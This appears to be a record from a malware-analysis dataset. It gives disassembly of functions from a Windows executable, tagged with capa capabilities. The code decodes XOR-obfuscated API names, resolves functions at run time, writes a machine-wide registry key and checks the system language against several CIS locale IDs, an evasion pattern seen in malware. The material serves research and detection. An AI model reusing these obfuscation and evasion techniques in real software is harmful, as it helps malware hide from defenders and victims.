joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d0a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov esi, 0x44226c
mov byte [ebp - 1], cl
lea edi, [ebp - 0x20]
push 0x37
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
xor edx, edx
mov eax, esi
div ecx
add dl, 0x36
xor byte [ebp + esi - 0x20], dl
inc esi
cmp esi, 0xb
jl 0x40d0be
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov dword [ebp - 0x14], ebx
test ebx, ebx
je 0x40d1e4
cmp byte [0x442029], 0
lea edi, [ebp - 0x54]
mov esi, str.qRLr_BR_M__r:02G
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
je 0x40d117
push 0x37
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x36
xor byte [ebp + ecx - 0x54], dl
inc ecx
cmp ecx, 0x12
jl 0x40d104
lea eax, [ebp - 0x54]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.VHoSIHH_S_v__
mov dword [ebp - 8], eax
lea edi, [ebp - 0x40]
xor ecx, ecx
push 0x37
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x36
xor byte [ebp + ecx - 0x40], dl
inc ecx
cmp ecx, 0x11
jl 0x40d137
lea eax, [ebp - 0x40]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x442473], 0
lea edi, [ebp - 0x2c]
mov esi, str._RA_dYK_Q4AdXVPT_
mov dword [ebp - 0xc], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x40d184
push 0x37
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x36
xor byte [ebp + ecx - 0x2c], dl
inc ecx
cmp ecx, 0xc
jl 0x40d171
lea eax, [ebp - 0x2c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x40d1dd
mov edi, dword [ebp - 0xc]
test edi, edi
je 0x40d1dd
test esi, esi
je 0x40d1dd
push 0
call eax
push eax
movsx eax, byte [ebp - 1]
push 2
push eax
call edi
test eax, eax
je 0x40d1dd
xor edi, edi
mov bl, al
push edi
push edi
push edi
push ebx
call esi
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x64
mov dword [ebp - 0xc], edi
call fcn.0040ed33
push edi
push 2
push edi
push ebx
call esi
push dword [ebp - 0x14]
jmp 0x40d1de
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40e4d6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, str.E__UV_b
lea edi, [ebp - 0xc]
xor ebx, ebx
push 0x37
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
cmp byte [0x4421db], bl
je 0x40e50c
mov ecx, ebx
xor edx, edx
mov eax, ecx
div esi
add dl, 0x36
xor byte [ebp + ecx - 0xc], dl
inc ecx
cmp ecx, 0xc
jl 0x40e4f9
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
test ecx, ecx
je 0x40e557
lea edi, [ebp - 0x1c]
mov esi, 0x441fbc
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [0x441fc9], bl
je 0x40e547
push 0x37
pop esi
xor edx, edx
mov eax, ebx
div esi
add dl, 0x36
xor byte [ebp + ebx - 0x1c], dl
inc ebx
cmp ebx, 0xe
jl 0x40e534
lea eax, [ebp - 0x1c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x44a7e0], eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40e55c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
push 6
pop ecx
mov esi, 0x4420b0
lea edi, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
push 0x37
mov ecx, ebx
movsw word es:[edi], word [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add edx, 0x36
xor word [ebp + ecx*2 - 0x30], dx
inc ecx
cmp ecx, 0xd
jl 0x40e57b
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 4], eax
test eax, eax
je 0x40e695
lea edi, [ebp - 0x14]
mov esi, str.dR_zH_I_t_8_a_
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [str.E_TUJIS_L3AuXQWxZOX_], bl
je 0x40e5d3
push 0x37
mov ecx, ebx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x36
xor byte [ebp + ecx - 0x14], dl
inc ecx
cmp ecx, 0x10
jl 0x40e5bd
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.dR_j_OjRJ_
mov dword [0x44a7e4], eax
lea edi, [ebp - 0x14]
mov ecx, ebx
push 0x37
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x36
xor byte [ebp + ecx - 0x14], dl
inc ecx
cmp ecx, 0xf
jl 0x40e5f6
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edi, [ebp - 0x10]
mov esi, 0x442178
mov dword [0x44a7dc], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [0x442183], bl
je 0x40e646
push 0x37
mov ecx, ebx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x36
xor byte [ebp + ecx - 0x10], dl
inc ecx
cmp ecx, 0xc
jl 0x40e633
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edi, [ebp - 0x14]
mov esi, 0x441ebc
mov dword [0x44a7f0], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [0x441ec9], bl
je 0x40e683
push 0x37
pop ecx
xor edx, edx
mov eax, ebx
div ecx
add dl, 0x36
xor byte [ebp + ebx - 0x14], dl
inc ebx
cmp ebx, 0xe
jl 0x40e670
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x44a7d8], eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40e69a
Capabilities:
Encode data using xor

Disassembly:
push 0x9c
mov eax, 0x437474
call fcn.0041daaa
mov ebx, ecx
cmp dword [0x44a7e4], 0
je 0x40e877
cmp dword [0x44a7dc], 0
je 0x40e877
cmp dword [0x44a7f0], 0
je 0x40e877
push 8
pop ecx
mov esi, str.ETPM_HWN
lea edi, [ebp - 0x38]
rep movsd dword es:[edi], dword [esi]
push 0x37
movsw word es:[edi], word [esi]
xor edi, edi
pop esi
mov ecx, edi
mov dword [ebp - 0x40], esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x36
xor byte [ebp + ecx - 0x38], dl
inc ecx
cmp ecx, 0x22
jl 0x40e6eb
push 0x44aeb8
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x90]
call fcn.00404fd1
pop ecx
mov esi, eax
mov dword [ebp - 4], edi
cmp byte [str.UXUT_UXw], 0
mov ecx, dword [0x4420a0]
mov edx, dword [0x4420a4]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], edx
je 0x40e748
mov ecx, edi
xor edx, edx
mov eax, ecx
div dword [ebp - 0x40]
add dl, 0x36
xor byte [ebp + ecx - 0x48], dl
inc ecx
cmp ecx, 8
jl 0x40e734
lea eax, [ebp - 0x48]
mov ecx, esi
push eax
call fcn.00404734
push eax
lea ecx, [ebp - 0x78]
call fcn.0040412a
push ebx
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 1
call fcn.004042eb
push eax
lea ecx, [ebp - 0x60]
call fcn.0040412a
mov byte [ebp - 4], 2
mov ecx, edi
mov eax, dword [0x4421a0]
mov dword [ebp - 0x40], eax
mov al, byte [0x4421a4]
push 0x37
mov byte [ebp - 0x3c], al
pop ebx
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x36
xor byte [ebp + ecx - 0x40], dl
inc ecx
cmp ecx, 5
jl 0x40e78b
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x60]
call fcn.00404734
push eax
lea ecx, [ebp - 0x30]
call fcn.0040412a
lea ecx, [ebp - 0x60]
call fcn.004026b1
lea ecx, [ebp - 0x78]
call fcn.004026b1
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 6
call fcn.004026b1
lea eax, [ebp - 0x30]
mov edx, 0x441e6c
push eax
lea ecx, [ebp - 0xa8]
call fcn.00404fd1
pop ecx
mov esi, eax
mov byte [ebp - 4], 7
cmp dword [esi + 0x14], 0xf
jbe 0x40e7f5
mov esi, dword [esi]
cmp byte [0x441eaf], 0
mov eax, dword [0x441ea8]
mov ecx, dword [str._CYbVZ9oXJVS_]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
je 0x40e824
mov ecx, edi
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x36
xor byte [ebp + ecx - 0x48], dl
inc ecx
cmp ecx, 8
jl 0x40e811
mov eax, dword [str.YG_W:]
mov ecx, edi
mov dword [ebp - 0x40], eax
mov al, byte [0x442040]
mov byte [ebp - 0x3c], al
xor edx, edx
mov eax, ecx
div ebx
add dl, 0x36
xor byte [ebp + ecx - 0x40], dl
inc ecx
cmp ecx, 5
jl 0x40e836
push edi
push edi
push esi
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
push edi
call dword [0x44a7e0]
lea ecx, [ebp - 0xa8]
mov esi, eax
call fcn.004026b1
test esi, esi
lea ecx, [ebp - 0x30]
setne bl
call fcn.004026b1
mov al, bl
call fcn.0041da59
ret
Function at 0x40e96c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x1d
pop ecx
mov esi, 0x442378
lea edi, [ebp - 0x94]
rep movsd dword es:[edi], dword [esi]
push 0x37
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add edx, 0x36
xor word [ebp + ecx*2 - 0x94], dx
inc ecx
cmp ecx, 0x3a
jl 0x40e996
lea eax, [ebp - 0xc]
push eax
push 2
push 0
lea eax, [ebp - 0x94]
push eax
push 0x80000002
call dword [0x44a7d8]
test eax, eax
jne 0x40ea2a
and dword [ebp - 8], eax
lea edi, [ebp - 0x20]
mov esi, str.sYY_Vph
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
cmp word [0x4420f6], ax
je 0x40e9fd
push 0x37
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add edx, 0x36
xor word [ebp + ecx*2 - 0x20], dx
inc ecx
cmp ecx, 0xa
jl 0x40e9e9
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0xc]
call dword [0x44a7dc]
test eax, eax
je 0x40ea21
push dword [ebp - 0xc]
call dword [0x44a7f0]
push dword [ebp - 0xc]
call dword [0x44a7f0]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041cdf9
leave
ret

Function at 0x40ec59
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x437531
call fcn.0041daaa
mov esi, ecx
push 4
xor ebx, ebx
call fcn.0041ce07
mov ecx, eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], ecx
mov dword [ecx], eax
lea edi, [esi + 4]
mov dword [ebp - 4], ebx
push edi
push ebx
push ecx
push 0x40ef09
push ebx
push ebx
call fcn.00424281
add esp, 0x1c
mov dword [esi], eax
test eax, eax
je 0x40eca2
mov eax, esi
call fcn.0041da59
ret 4
push 6
mov dword [edi], ebx
call fcn.0041c96c
int3

Function at 0x40ee4b
Capabilities:
Create thread

Disassembly:
push 0xc
mov eax, 0x437572
call fcn.0041daaa
mov ebx, ecx
mov esi, dword [ebp + 0x14]
push 0x24
call fcn.0041ce07
mov edi, eax
pop ecx
mov dword [ebp - 0x18], edi
and dword [ebp - 4], 0
mov ecx, edi
push esi
call fcn.0040419c
mov eax, dword [ebp + 0x10]
lea ecx, [ebp - 0x18]
and dword [ebp - 0x18], 0
mov dword [edi + 0x20], 0x40d1e9
mov eax, dword [eax]
mov dword [edi + 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [edi + 0x1c], eax
call fcn.0040eede
and dword [ebp - 0x18], 0
mov dword [ebp - 0x14], edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 1
call fcn.0040eede
xor eax, eax
lea esi, [ebx + 4]
push esi
push eax
push edi
push 0x40ef57
push eax
push eax
call fcn.00424281
add esp, 0x18
mov dword [ebx], eax
test eax, eax
je 0x40eed3
call fcn.0041da59
ret 0x10
and dword [esi], 0
push 6
call fcn.0041c96c
int3

Function at 0x40f881
Capabilities:
Identify system language via api

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov edx, 0x419
mov ecx, eax
cmp ax, dx
je 0x40f8d8
add edx, 0x12
cmp ax, dx
je 0x40f8d8
mov edx, 0x423
cmp ax, dx
je 0x40f8d8
add edx, 0x14
cmp ax, dx
je 0x40f8d8
mov edx, 0x43f
cmp ax, dx
je 0x40f8d8
add edx, 0xffffffe9
cmp ax, dx
je 0x40f8d8
mov edx, 0x843
cmp ax, dx
je 0x40f8d8
mov eax, 0x422
cmp cx, ax
setne al
ret
xor al, al
ret
Function at 0x40f8db
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x442538
lea edi, [ebp - 0x1c0]
mov ebx, ecx
xor ecx, ecx
push 0x38
mov dword [ebp - 0x1b4], ebx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1b4], ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x1c0], dl
inc ecx
cmp ecx, 0xb
jl 0x40f914
lea eax, [ebp - 0x1c0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1b4], eax
test eax, eax
je 0x40f99b
cmp byte [str.Hgrg], 0
lea edi, [ebp - 0x1d8]
push 5
pop ecx
mov esi, str.pXBUSHLQ_F
rep movsd dword es:[edi], dword [esi]
je 0x40f97b
push 0x38
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x35
xor byte [ebp + ecx - 0x1d8], dl
inc ecx
cmp ecx, 0x14
jl 0x40f95f
mov eax, dword [ebp - 0x1b4]
lea ecx, [ebp - 0x1d8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x40f9b8
push dword [ebp - 0x1b4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x441144
mov ecx, ebx
call fcn.00404163
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cdf9
leave
ret
push 0x1a3
lea eax, [ebp - 0x1ab]
mov dword [ebp - 0x1b0], 0x1a8
push 0
push eax
mov byte [ebp - 0x1ac], 0
call fcn.0041ecf0
add esp, 0xc
lea eax, [ebp - 0x1b0]
push 1
push eax
push 1
push 0
call esi
push dword [ebp - 0x1b4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test esi, esi
je 0x40f99b
lea eax, [ebp - 0x18c]
push eax
jmp 0x40f9a0
Function at 0x40fb06
Capabilities:
Encode data using xor
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea ecx, [ebp - 0x20]
push ebx
push esi
push edi
call fcn.0040f8db
mov ebx, 0x44af08
push eax
mov ecx, ebx
call fcn.004040f5
lea ecx, [ebp - 0x20]
call fcn.004026b1
cmp dword [0x44af18], 1
jb 0x40fc41
mov esi, 0x442524
lea edi, [ebp - 0x1c]
push 0x38
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
pop edi
xor edx, edx
mov eax, esi
div edi
add dl, 0x35
xor byte [ebp + esi - 0x1c], dl
inc esi
cmp esi, 0x11
jl 0x40fb4b
lea edx, [ebp - 0x1c]
mov ecx, ebx
call fcn.00409141
test al, al
jne 0x40fc41
cmp byte [0x4416dd], 0
mov ax, word [0x4416dc]
mov word [ebp - 4], ax
je 0x40fb98
xor ecx, ecx
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 2
jl 0x40fb85
sub esp, 0x18
lea esi, [ebp - 4]
mov ecx, esp
push 0x44ad98
call fcn.0040419c
push 0x7d
pop edx
lea ecx, [ebp - 0x20]
call fcn.00407893
add esp, 0x18
mov edx, esi
mov ecx, eax
call fcn.00409141
lea ecx, [ebp - 0x20]
mov bl, al
call fcn.004026b1
test bl, bl
je 0x40fbd4
call fcn.0040fa34
cmp byte [0x4416dd], 0
mov ax, word [0x4416dc]
mov word [ebp - 4], ax
je 0x40fbfc
xor ecx, ecx
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 2
jl 0x40fbe9
sub esp, 0x18
lea esi, [ebp - 4]
mov ecx, esp
push 0x44ae58
call fcn.0040419c
push 0x7d
pop edx
lea ecx, [ebp - 0x20]
call fcn.00407893
add esp, 0x18
mov edx, esi
mov ecx, eax
call fcn.00409141
lea ecx, [ebp - 0x20]
mov bl, al
call fcn.004026b1
test bl, bl
je 0x40fc3c
call fcn.0040f881
test al, al
je 0x40fc41
pop edi
pop esi
pop ebx
leave
ret
push 0
call fcn.00420d4f
int3
Function at 0x410485
Capabilities:
Encode data using xor

Disassembly:
push 0x9c
mov eax, 0x437783
call fcn.0041db16
mov ebx, ecx
xor edi, edi
mov dword [ebp - 4], edi
call fcn.004100ac
test al, al
je 0x4104f3
push edi
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], edi
push eax
xor esi, esi
mov dword [ebp - 0x24], edi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x20], edi
inc esi
push eax
mov dword [ebp - 0x2c], esi
call dword [0x44a810]
test eax, eax
jne 0x4104f3
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x88], edi
push ecx
push esi
mov esi, dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
push eax
call esi
test eax, eax
je 0x4104f9
push dword [ebp - 0x1c]
call dword [0x44a814]
call fcn.0041da68
ret
mov edx, dword [ebx + 4]
mov eax, dword [ebp - 0x88]
sub edx, dword [ebx]
push edi
push edx
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x10]
test eax, eax
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
jns 0x410520
push eax
call dword [ecx + 8]
jmp 0x4104ea
push edi
push edi
push edi
push edi
push eax
call dword [ecx + 0x14]
test eax, eax
jns 0x410536
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
jmp 0x41051a
lea eax, [ebp - 0x90]
mov dword [ebp - 0x90], edi
push eax
push dword [ebp - 0x88]
call dword [0x44a80c]
test eax, eax
jne 0x41052c
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x8c], edi
push eax
push 1
push edi
call esi
test eax, eax
jne 0x410619
push 5
pop ecx
mov esi, str._V__
lea edi, [ebp - 0xa8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor edi, edi
mov ecx, edi
xor edx, edx
mov eax, ecx
push 0x32
pop esi
div esi
add edx, 0x35
xor word [ebp + ecx*2 - 0xa8], dx
inc ecx
cmp ecx, 0xb
jl 0x410583
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0xa8]
call fcn.004103a0
push edi
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x8c]
push dword [ebp - 0x90]
call dword [0x44a808]
test eax, eax
jne 0x41060d
mov eax, dword [ebp - 0x8c]
lea edx, [ebp - 0x84]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x41060d
mov esi, dword [ebp - 0x7c]
mov ecx, ebx
push esi
call fcn.00410754
mov eax, dword [ebp - 0x8c]
push edi
push edi
push edi
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x14]
test eax, eax
js 0x41060d
mov eax, dword [ebp - 0x8c]
push edi
push esi
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x8c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push dword [ebp - 0x90]
call dword [0x44a818]
jmp 0x4104ea
Function at 0x410c6a
Capabilities:
Encode data using xor

Disassembly:
push 0x46c
mov eax, 0x4378a7
call fcn.0041db16
mov dword [ebp - 0x45c], edx
mov ebx, ecx
mov dword [ebp - 0x458], ebx
mov esi, 0x4426f8
mov dword [ebp - 0x460], ebx
lea edi, [ebp - 0x46c]
xor ecx, ecx
push 0x36
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop edi
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 0x46c], dl
inc ecx
cmp ecx, 0xb
jl 0x410ca2
lea eax, [ebp - 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x410cdf
push 0x441144
mov ecx, ebx
call fcn.00404163
mov eax, ebx
call fcn.0041da68
ret
mov eax, dword [0x44270c]
xor ecx, ecx
mov dword [ebp - 0x454], eax
mov al, byte [0x442710]
mov byte [ebp - 0x450], al
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 0x454], dl
inc ecx
cmp ecx, 5
jl 0x410cf7
lea eax, [ebp - 0x454]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
lea edi, [ebp - 0x434]
xor eax, eax
mov dword [ebp - 0x458], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x420], 0xf
mov byte [ebp - 0x434], al
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x41c]
push 0x3ff
push eax
push dword [ebp - 0x45c]
call ecx
test eax, eax
jg 0x410d71
push 0x441144
mov ecx, ebx
call fcn.00404163
jmp 0x410dd6
mov esi, 0x400
cmp eax, esi
jae 0x410e12
mov byte [ebp + eax - 0x41c], 0
lea ecx, [ebp - 0x434]
lea eax, [ebp - 0x41c]
push eax
call fcn.00404734
sub esp, 0x18
mov byte [ebp - 4], 1
lea eax, [ebp - 0x434]
mov ecx, esp
push eax
call fcn.0040419c
mov edx, esi
lea ecx, [ebp - 0x44c]
call fcn.00407893
add esp, 0x18
lea eax, [ebp - 0x44c]
mov ecx, ebx
push eax
call fcn.0040412a
lea ecx, [ebp - 0x44c]
call fcn.004026b1
mov eax, dword [ebp - 0x420]
cmp eax, 0xf
jbe 0x410cd7
inc eax
push eax
push dword [ebp - 0x434]
call fcn.0040274d
pop ecx
pop ecx
jmp 0x410cd7
call fcn.0041d301
int3
Function at 0x410e18
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4378e1
mov eax, dword fs:[0]
push eax
mov eax, 0x2048
call fcn.00433b90
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2040], edx
mov ebx, ecx
mov dword [ebp - 0x203c], ebx
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x2050]
mov esi, 0x4426f8
mov dword [ebp - 0x203c], ebx
push 0x36
mov dword [ebp - 0x2044], eax
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop edi
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 0x2050], dl
inc ecx
cmp ecx, 0xb
jl 0x410e7c
lea eax, [ebp - 0x2050]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x410eb6
push 0x441144
mov ecx, ebx
call fcn.00404163
jmp 0x410fb6
mov eax, dword [0x44270c]
xor ecx, ecx
mov dword [ebp - 0x203c], eax
mov al, byte [0x442710]
mov byte [ebp - 0x2038], al
xor edx, edx
mov eax, ecx
div edi
add dl, 0x35
xor byte [ebp + ecx - 0x203c], dl
inc ecx
cmp ecx, 5
jl 0x410ece
lea eax, [ebp - 0x203c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea edi, [ebp - 0x2034]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x2024], eax
mov dword [ebp - 0x2020], 0xf
mov byte [ebp - 0x2034], al
mov edi, dword [ebp - 0x2040]
mov dword [ebp - 4], eax
push eax
jmp 0x410f53
push eax
lea eax, [ebp - 0x201c]
push eax
lea ecx, [ebp - 0x2034]
call fcn.00404367
push 0
push dword [ebp - 0x2044]
lea ecx, [ebp - 0x2034]
call fcn.004040c1
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x410f68
push 0
push 0x2004
lea eax, [ebp - 0x201c]
push eax
push edi
call esi
test eax, eax
jg 0x410f24
jmp 0x410f8e
cmp dword [ebp - 0x2024], ecx
jb 0x410fd2
cmp dword [ebp - 0x2020], 0xf
lea eax, [ebp - 0x2034]
mov dword [ebp - 0x2024], ecx
cmova eax, dword [ebp - 0x2034]
mov byte [eax + ecx], 0
lea eax, [ebp - 0x2034]
mov ecx, ebx
push eax
call fcn.0040412a
mov eax, dword [ebp - 0x2020]
cmp eax, 0xf
jbe 0x410fb6
inc eax
push eax
push dword [ebp - 0x2034]
call fcn.0040274d
pop ecx
pop ecx
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041cdf9
leave
ret
call fcn.004043c0
int3